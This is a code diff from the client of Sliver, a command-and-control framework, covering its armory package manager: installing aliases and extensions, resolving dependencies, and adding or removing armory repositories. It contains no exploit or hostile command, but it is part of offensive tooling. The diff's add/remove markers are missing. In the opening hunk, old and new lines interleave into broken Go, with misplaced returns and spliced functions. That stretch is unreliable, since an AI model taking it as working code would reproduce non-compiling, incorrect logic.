|
||||
installAlias(alias, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
for _, extensionFileName := range installedExtensions {
|
||||
extension := &extensions.ExtensionManifest{}
|
||||
manifestData, err := os.ReadFile(extensionFileName)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
}
|
||||
for _, extm := range extensions {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext.Manifest, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
err = json.Unmarshal(manifestData, extension)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(extension.ExtCommand) == 0 {
|
||||
extensionOld := &extensions.ExtensionManifest_{}
|
||||
// Some extension manifests are using an older version
|
||||
// To maintain compatibility with those extensions, we will
|
||||
// re-unmarshal the data as the older version
|
||||
err = json.Unmarshal(manifestData, extensionOld)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, extensionOld.CommandName) {
|
||||
packageNames = append(packageNames, extensionOld.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range extension.ExtCommand {
|
||||
if !slices.Contains(packageNames, command.CommandName) {
|
||||
packageNames = append(packageNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("All packages installed\n")
|
||||
return nil
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
|
||||
return packageNames
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
// This is a convenience function to get the names of the commands in the cache
|
||||
func getCommandsInCache() []string {
|
||||
commandNames := []string{}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if !slices.Contains(commandNames, command.CommandName) {
|
||||
commandNames = append(commandNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return commandNames
|
||||
}
|
||||
|
||||
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
|
||||
packages := []*pkgCacheEntry{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if cacheEntry.Alias.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packages
|
||||
}
|
||||
|
||||
func getPackageIDFromUser(name string, options map[string]string) string {
|
||||
selectedPackageKey := ""
|
||||
optionKeys := util.Keys(options)
|
||||
slices.Sort(optionKeys)
|
||||
// Add a cancel option
|
||||
optionKeys = append(optionKeys, doNotInstallOption)
|
||||
options[doNotInstallOption] = doNotInstallPackageName
|
||||
prompt := &survey.Select{
|
||||
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
|
||||
Options: optionKeys,
|
||||
}
|
||||
survey.AskOne(prompt, &selectedPackageKey)
|
||||
selectedPackageID := options[selectedPackageKey]
|
||||
|
||||
return selectedPackageID
|
||||
}
|
||||
|
||||
func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
|
||||
packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
|
||||
|
||||
if len(packagesWithCommand) > 1 {
|
||||
// Build an option map for the user to choose from (option -> pkgID)
|
||||
optionMap := make(map[string]string)
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
var optionName string
|
||||
if packageEntry.Pkg.IsAlias {
|
||||
optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
|
||||
name,
|
||||
packageEntry.Alias.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
} else {
|
||||
optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
|
||||
packageEntry.Pkg.Name,
|
||||
packageEntry.Extension.Version,
|
||||
packageEntry.ArmoryConfig.Name,
|
||||
name,
|
||||
packageEntry.Pkg.RepoURL,
|
||||
)
|
||||
}
|
||||
optionMap[optionName] = packageEntry.ID
|
||||
}
|
||||
selectedPackageID := getPackageIDFromUser(name, optionMap)
|
||||
if selectedPackageID == doNotInstallPackageName {
|
||||
return nil, fmt.Errorf("user cancelled installation")
|
||||
}
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
if packageEntry.ID == selectedPackageID {
|
||||
return packageEntry, nil
|
||||
}
|
||||
}
|
||||
} else if len(packagesWithCommand) == 1 {
|
||||
return packagesWithCommand[0], nil
|
||||
}
|
||||
return nil, ErrPackageNotFound
|
||||
}
|
||||
|
||||
func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
|
||||
packageInstallList := []string{}
|
||||
installedPackages := getInstalledPackageNames()
|
||||
|
||||
/*
|
||||
Gather information about what we are working with
|
||||
|
||||
Find all conflicts within aliases for a given name (or all names), same thing with extensions
|
||||
Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
|
||||
*/
|
||||
var requestedPackageList []string
|
||||
if name == "all" {
|
||||
requestedPackageList = []string{}
|
||||
allCommands := getCommandsInCache()
|
||||
for _, cmdName := range allCommands {
|
||||
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[cmdName]; !ok {
|
||||
requestedPackageList = append(requestedPackageList, cmdName)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if !slices.Contains(installedPackages, name) || forceInstallation {
|
||||
// Check to see if there is a package pending with that name
|
||||
if _, ok := pendingPackages[name]; !ok {
|
||||
requestedPackageList = []string{name}
|
||||
}
|
||||
} else {
|
||||
return nil, ErrPackageAlreadyInstalled
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageName := range requestedPackageList {
|
||||
if _, ok := pendingPackages[packageName]; ok {
|
||||
// We are already going to install a package with this name, so do not try to resolve it
|
||||
continue
|
||||
}
|
||||
packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
pendingPackages[packageName] = packageEntry.ID
|
||||
}
|
||||
|
||||
if !packageEntry.Pkg.IsAlias {
|
||||
dependencies := make(map[string]*pkgCacheEntry)
|
||||
err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for pkgName, packageEntry := range dependencies {
|
||||
if !slices.Contains(packageInstallList, packageEntry.ID) {
|
||||
packageInstallList = append(packageInstallList, packageEntry.ID)
|
||||
}
|
||||
if _, ok := pendingPackages[pkgName]; !ok {
|
||||
pendingPackages[pkgName] = packageEntry.ID
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return packageInstallList, nil
|
||||
}
|
||||
|
||||
func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
pendingPackages := make(map[string]string)
|
||||
packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(packageInstallList) > 0 {
|
||||
for _, packageID := range packageInstallList {
|
||||
entry := packageCacheLookupByID(packageID)
|
||||
if entry == nil {
|
||||
return errors.New("cache consistency error - please refresh the cache and try again")
|
||||
}
|
||||
if entry.Pkg.IsAlias {
|
||||
err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return ErrPackageNotFound
|
||||
}
|
||||
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("Operation complete\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
if !entry.Pkg.IsAlias {
|
||||
return errors.New("package is not an alias")
|
||||
}
|
||||
repoURL, err := url.Parse(entry.RepoURL)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -174,7 +496,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear the line
|
||||
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
|
||||
installPath := alias.InstallFromFile(tmpFile.Name(), entry.Alias.CommandName, promptToOverwrite, con)
|
||||
if installPath == nil {
|
||||
return errors.New("failed to install alias")
|
||||
}
|
||||
@@ -188,50 +510,15 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
deps := make(map[string]struct{})
|
||||
for _, ext := range extm.ExtCommand {
|
||||
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
|
||||
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
|
||||
for dep := range deps {
|
||||
if extensions.CmdExists(dep, sliverMenu) {
|
||||
continue // Dependency is already installed
|
||||
}
|
||||
err := installExtensionPackageByName(dep, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
|
||||
|
||||
func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
if entry == nil {
|
||||
return
|
||||
}
|
||||
for _, multiExt := range entry.Extension.ExtCommand {
|
||||
func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error {
|
||||
for _, multiExt := range pkg.Extension.ExtCommand {
|
||||
if multiExt.DependsOn == "" {
|
||||
continue // Avoid adding empty dependency
|
||||
}
|
||||
|
||||
if multiExt.DependsOn == name {
|
||||
if multiExt.DependsOn == pkg.Extension.Name {
|
||||
continue // Avoid infinite loop of something that depends on itself
|
||||
}
|
||||
// We also need to look out for circular dependencies, so if we've already
|
||||
@@ -239,24 +526,28 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{},
|
||||
if _, ok := deps[multiExt.DependsOn]; ok {
|
||||
continue // Already resolved
|
||||
}
|
||||
// Check to make sure we are not already going to install a package with this name
|
||||
if _, ok := pendingPackages[multiExt.DependsOn]; ok {
|
||||
continue
|
||||
}
|
||||
if maxDepDepth < len(deps) {
|
||||
continue
|
||||
}
|
||||
deps[multiExt.DependsOn] = struct{}{}
|
||||
resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
|
||||
// Figure out what package we need for the dependency
|
||||
dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "")
|
||||
if err != nil {
|
||||
return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
|
||||
}
|
||||
deps[multiExt.DependsOn] = dependencyEntry
|
||||
err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
if entry == nil {
|
||||
return errors.New("package not found")
|
||||
}
|
||||
@@ -302,7 +593,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFile.Name(), con, true)
|
||||
extensions.InstallFromDir(tmpFile.Name(), promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,653 @@
|
||||
package armory
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func printArmories(con *console.SliverClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Authorization Required",
|
||||
"Enabled",
|
||||
"URL",
|
||||
})
|
||||
|
||||
configuredArmories := getCurrentArmoryConfiguration()
|
||||
|
||||
for _, armory := range configuredArmories {
|
||||
var authRequired string
|
||||
var enabled string
|
||||
if armory.Authorization != "" {
|
||||
authRequired = "yes"
|
||||
} else {
|
||||
authRequired = "no"
|
||||
}
|
||||
if armory.Enabled {
|
||||
enabled = "yes"
|
||||
} else {
|
||||
enabled = "no"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
armory.Name,
|
||||
authRequired,
|
||||
enabled,
|
||||
armory.RepoURL,
|
||||
})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
armoryInfo.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Public Key",
|
||||
armoryInfo.PublicKey,
|
||||
})
|
||||
|
||||
enabled := "yes"
|
||||
if !armoryInfo.Enabled {
|
||||
enabled = "no"
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Enabled",
|
||||
enabled,
|
||||
})
|
||||
|
||||
authorizationRequired := "no"
|
||||
if armoryInfo.Authorization != "" {
|
||||
authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization required?",
|
||||
authorizationRequired,
|
||||
})
|
||||
if authorizationRequired != "no" {
|
||||
authCmd := armoryInfo.AuthorizationCmd
|
||||
if authCmd == "" {
|
||||
authCmd = "not configured"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Authorization Command",
|
||||
authCmd,
|
||||
})
|
||||
}
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
armoryInfo.RepoURL,
|
||||
})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
|
||||
rows := make([]table.Row, 0)
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Name",
|
||||
packageInfo.Pkg.Name,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
packageInfo.Pkg.CommandName,
|
||||
})
|
||||
|
||||
rows = append(rows, table.Row{
|
||||
"Armory Name",
|
||||
packageInfo.Pkg.ArmoryName,
|
||||
})
|
||||
|
||||
packageType := "alias"
|
||||
if !packageInfo.Pkg.IsAlias {
|
||||
packageType = "extension"
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Package Type",
|
||||
packageType,
|
||||
})
|
||||
if packageType == "alias" {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Alias.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Author",
|
||||
packageInfo.Alias.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Repo URL",
|
||||
packageInfo.Alias.RepoURL,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
packageInfo.Alias.Help,
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
"Version",
|
||||
packageInfo.Extension.Version,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Original Author",
|
||||
packageInfo.Extension.OriginalAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Extension Author",
|
||||
packageInfo.Extension.ExtensionAuthor,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"URL",
|
||||
packageInfo.Extension.RepoURL,
|
||||
})
|
||||
extCommands := []string{}
|
||||
for _, cmd := range packageInfo.Extension.ExtCommand {
|
||||
extCommands = append(extCommands, cmd.CommandName)
|
||||
}
|
||||
rows = append(rows, table.Row{
|
||||
"Contains commands",
|
||||
strings.Join(extCommands, ", "),
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
rows = append(rows, table.Row{"Command Info", ""})
|
||||
for _, extCmd := range packageInfo.Extension.ExtCommand {
|
||||
rows = append(rows, table.Row{
|
||||
"Command Name",
|
||||
extCmd.CommandName,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Dependencies",
|
||||
extCmd.DependsOn,
|
||||
})
|
||||
rows = append(rows, table.Row{
|
||||
"Help",
|
||||
extCmd.Help,
|
||||
})
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
}
|
||||
}
|
||||
rows = append(rows, table.Row{"", ""})
|
||||
|
||||
return rows
|
||||
}
|
||||
|
||||
func viewDetailedInformation(con *console.SliverClient, entity string) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
tw.AppendHeader(table.Row{
|
||||
"Property",
|
||||
"Value",
|
||||
})
|
||||
|
||||
// See where this name exists in the armory and package indexes
|
||||
armoryResult := armoryLookupByName(entity)
|
||||
if armoryResult != nil {
|
||||
tw.AppendRows(generateRowsForArmory(armoryResult))
|
||||
con.Printf("Armory information for %s\n\n", entity)
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
|
||||
// Get packages with this name
|
||||
packageResult := packageCacheLookupByName(entity)
|
||||
if len(packageResult) > 0 {
|
||||
con.Printf("Packages named %s\n\n", entity)
|
||||
for _, pkg := range packageResult {
|
||||
tw.AppendRows(generateRowsForPackage(pkg))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
con.Printf("\n")
|
||||
}
|
||||
}
|
||||
|
||||
// Get extensions containing commands with this name
|
||||
commandResult := packageCacheLookupByCmd(entity)
|
||||
commandResultFiltered := make([]*pkgCacheEntry, 0)
|
||||
for _, cmd := range commandResult {
|
||||
if !cmd.Pkg.IsAlias {
|
||||
commandResultFiltered = append(commandResultFiltered, cmd)
|
||||
}
|
||||
}
|
||||
if len(commandResultFiltered) > 0 {
|
||||
con.Printf("Packages containing commands named %s\n\n", entity)
|
||||
for _, cmd := range commandResultFiltered {
|
||||
tw.AppendRows(generateRowsForPackage(cmd))
|
||||
con.Printf("%s\n", tw.Render())
|
||||
tw.ResetRows()
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func ArmoryInfoCommand(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if len(args) == 0 {
|
||||
printArmories(con)
|
||||
return
|
||||
}
|
||||
// If the user wants info on something specific, make sure the caches are up to date
|
||||
refresh(parseArmoryHTTPConfig(cmd))
|
||||
viewDetailedInformation(con, args[0])
|
||||
}
|
||||
|
||||
func verifyArmory(armoryInfo *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) error {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Only making one request, so we can limit ourselves to one concurrent request
|
||||
requestChannel := make(chan struct{}, 1)
|
||||
wg.Add(1)
|
||||
requestChannel <- struct{}{}
|
||||
go fetchIndex(armoryInfo, requestChannel, clientConfig, wg)
|
||||
wg.Wait()
|
||||
|
||||
result, ok := indexCache.Load(armoryInfo.PublicKey)
|
||||
if !ok {
|
||||
return fmt.Errorf("failed to retrieve armory index")
|
||||
}
|
||||
cacheResult := result.(indexCacheEntry)
|
||||
return cacheResult.LastErr
|
||||
}
|
||||
|
||||
func getCurrentArmoryConfiguration() []*assets.ArmoryConfig {
|
||||
configs := []*assets.ArmoryConfig{}
|
||||
armoryNames := []string{}
|
||||
// If the default armory is in the configuration, force it to be last
|
||||
var defaultConfig *assets.ArmoryConfig
|
||||
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
// Skip over the default armory for now
|
||||
if armoryEntry.Name != assets.DefaultArmoryName {
|
||||
configs = append(configs, &armoryEntry)
|
||||
armoryNames = append(armoryNames, armoryEntry.Name)
|
||||
} else {
|
||||
defaultConfig = &armoryEntry
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
if !armoriesInitialized {
|
||||
/*
|
||||
Armories are initialized on the first call to the armory command
|
||||
If armories are added or removed before the first call, we want
|
||||
to make sure we still load in the ones from the configuration
|
||||
file.
|
||||
*/
|
||||
persistentConfigs := assets.GetArmoriesConfig()
|
||||
for _, config := range persistentConfigs {
|
||||
if !slices.Contains(armoryNames, config.Name) {
|
||||
if config.Name == assets.DefaultArmoryName {
|
||||
if defaultArmoryRemoved {
|
||||
continue
|
||||
} else if defaultConfig != nil {
|
||||
// The user potentially changed something about the default config
|
||||
configs = append(configs, defaultConfig)
|
||||
currentArmories.Store(config.PublicKey, *defaultConfig)
|
||||
continue
|
||||
}
|
||||
}
|
||||
configs = append(configs, config)
|
||||
currentArmories.Store(config.PublicKey, *config)
|
||||
}
|
||||
}
|
||||
return configs
|
||||
}
|
||||
if !defaultArmoryRemoved {
|
||||
if defaultConfig != nil {
|
||||
configs = append(configs, defaultConfig)
|
||||
} else {
|
||||
configs = append(configs, assets.DefaultArmoryConfig)
|
||||
}
|
||||
}
|
||||
assets.RefreshArmoryAuthorization(configs)
|
||||
return configs
|
||||
}
|
||||
|
||||
func armoryNameExists(name string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.Name == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func armoryKeyExists(pubKey string) bool {
|
||||
currentArmoriesConfigured := getCurrentArmoryConfiguration()
|
||||
for _, armory := range currentArmoriesConfigured {
|
||||
if armory.PublicKey == pubKey {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func AddArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Get necessary information
|
||||
url, _ := cmd.Flags().GetString("url")
|
||||
pubKey, _ := cmd.Flags().GetString("pubkey")
|
||||
auth, _ := cmd.Flags().GetString("auth")
|
||||
authCmd, _ := cmd.Flags().GetString("authcmd")
|
||||
noSave, _ := cmd.Flags().GetBool("no-save")
|
||||
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
// Make sure we do not already have an armory config with the supplied name
|
||||
if armoryNameExists(name) {
|
||||
con.PrintErrorf("armory %s already exists\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
armoryConfig := assets.ArmoryConfig{
|
||||
PublicKey: pubKey,
|
||||
RepoURL: url,
|
||||
Authorization: auth,
|
||||
AuthorizationCmd: authCmd,
|
||||
Name: name,
|
||||
Enabled: true,
|
||||
}
|
||||
|
||||
// verifyArmory will add the armory index to the cache on success, so we do not have to force a refresh
|
||||
err := verifyArmory(&armoryConfig, clientConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not add armory: %s\n", err)
|
||||
return
|
||||
}
|
||||
currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
|
||||
if !noSave {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err = assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Armory configuration saved\n")
|
||||
}
|
||||
}
|
||||
con.PrintSuccessf("Added armory %s\n", name)
|
||||
}
|
||||
|
||||
// Get a list of package IDs for an armory by its public key
|
||||
func getPackageIDsForArmory(armoryPublicKey string) []string {
|
||||
packageIDs := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
pkgEntry := value.(pkgCacheEntry)
|
||||
if pkgEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
packageIDs = append(packageIDs, pkgEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageIDs
|
||||
}
|
||||
|
||||
func RemoveArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
name := args[0]
|
||||
|
||||
if name == "" {
|
||||
con.PrintErrorf("an armory name is required\n")
|
||||
return
|
||||
}
|
||||
|
||||
armories := getCurrentArmoryConfiguration()
|
||||
deleted := false
|
||||
newConfiguration := []*assets.ArmoryConfig{}
|
||||
for _, armory := range armories {
|
||||
if armory.Name != name {
|
||||
newConfiguration = append(newConfiguration, armory)
|
||||
} else {
|
||||
currentArmories.Delete(armory.PublicKey)
|
||||
indexCache.Delete(armory.PublicKey)
|
||||
/*
|
||||
To delete from the package cache, we will have
|
||||
to gather a list of package IDs for the
|
||||
armory then delete them from the cache.
|
||||
*/
|
||||
armoryPackageIDs := getPackageIDsForArmory(armory.PublicKey)
|
||||
for _, id := range armoryPackageIDs {
|
||||
pkgCache.Delete(id)
|
||||
}
|
||||
deleted = true
|
||||
}
|
||||
}
|
||||
|
||||
if deleted {
|
||||
con.PrintSuccessf("Armory %s successfully deleted, saving configuration...\n", name)
|
||||
if name == assets.DefaultArmoryName {
|
||||
defaultArmoryRemoved = true
|
||||
}
|
||||
} else {
|
||||
con.PrintErrorf("Armory %s is not a configured armory\n", name)
|
||||
return
|
||||
}
|
||||
|
||||
err := assets.SaveArmoriesConfig(newConfiguration)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save new armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Saved armory configuration\n")
|
||||
}
|
||||
}
|
||||
|
||||
func SaveArmories(con *console.SliverClient) {
|
||||
configs := getCurrentArmoryConfiguration()
|
||||
err := assets.SaveArmoriesConfig(configs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not save armory configuration: %s\n", err)
|
||||
} else {
|
||||
con.PrintSuccessf("Successfully saved armory configuration\n")
|
||||
}
|
||||
